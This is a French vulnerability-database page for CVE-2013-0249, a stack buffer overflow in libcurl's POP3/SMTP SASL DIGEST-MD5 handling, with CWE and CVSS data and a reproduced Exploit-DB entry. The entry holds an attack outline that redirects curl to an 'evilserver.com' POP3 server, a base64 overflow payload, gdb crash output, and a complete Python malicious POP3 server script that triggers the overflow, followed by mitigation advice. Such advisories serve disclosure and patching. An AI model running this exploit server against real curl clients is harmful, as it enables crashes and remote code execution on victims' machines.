Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 24487
Date de publication : 2013-02-10 23h00 +00:00
Auteur : Volema
EDB Vérifié : No
cURL buffer overflow
Wed 06 February 2013
Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.
Vendor notified, CVE-2013-0249 relased.
Attack Concept Outline
We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/
GET / HTTP/1.0
Host: evilserver.com
server answers with
HTTP/1.0 302 Found
Location: pop3://x:
[email protected]/.
"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers
+OK POP3 server ready
curl sends
CAPA
servers answers with DIGEST-MD5 only
+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server
so, libcurl has to send
AUTH DIGEST-MD5
then server sends the payload
+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=
and overflow happens because of fixed realm buffer size
realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8
how it looks in gdb
Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2 0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000
Original exploit: pop3d.py.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 CVE-2013-0249 by Volema/MSLC
import socket
import base64
host = "localhost"
port = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
buf = sock.recv(1024)
print buf
if buf.find('USER') > -1:
sock.send('+OK\n')
if buf.find('PASS') > -1:
sock.send('-ERR 999\n')
if buf.find('CAPA') > -1:
resp = '+OK List of capabilities follows\n'
resp += 'SASL DIGEST-MD5\n'
resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
resp += '.\n'
sock.send(resp)
if buf.find('QUIT') > -1:
sock.send('+OK')
break
if buf.find('AUTH') > -1:
realm = 'A'*128
payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
resp = '+ '+base64.b64encode(payload)+'\n'
print resp
sock.send(resp)
sock.close()
Mitigation
We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.
Products Mentioned
Configuraton 0
Haxx>>Curl >> Version 7.26.0
Haxx>>Curl >> Version 7.27.0
Haxx>>Curl >> Version 7.28.0
Haxx>>Curl >> Version 7.28.1
Haxx>>Libcurl >> Version 7.26.0
Haxx>>Libcurl >> Version 7.27.0
Haxx>>Libcurl >> Version 7.28.0
Haxx>>Libcurl >> Version 7.28.1
Configuraton 0
Canonical>>Ubuntu_linux >> Version 12.10
Références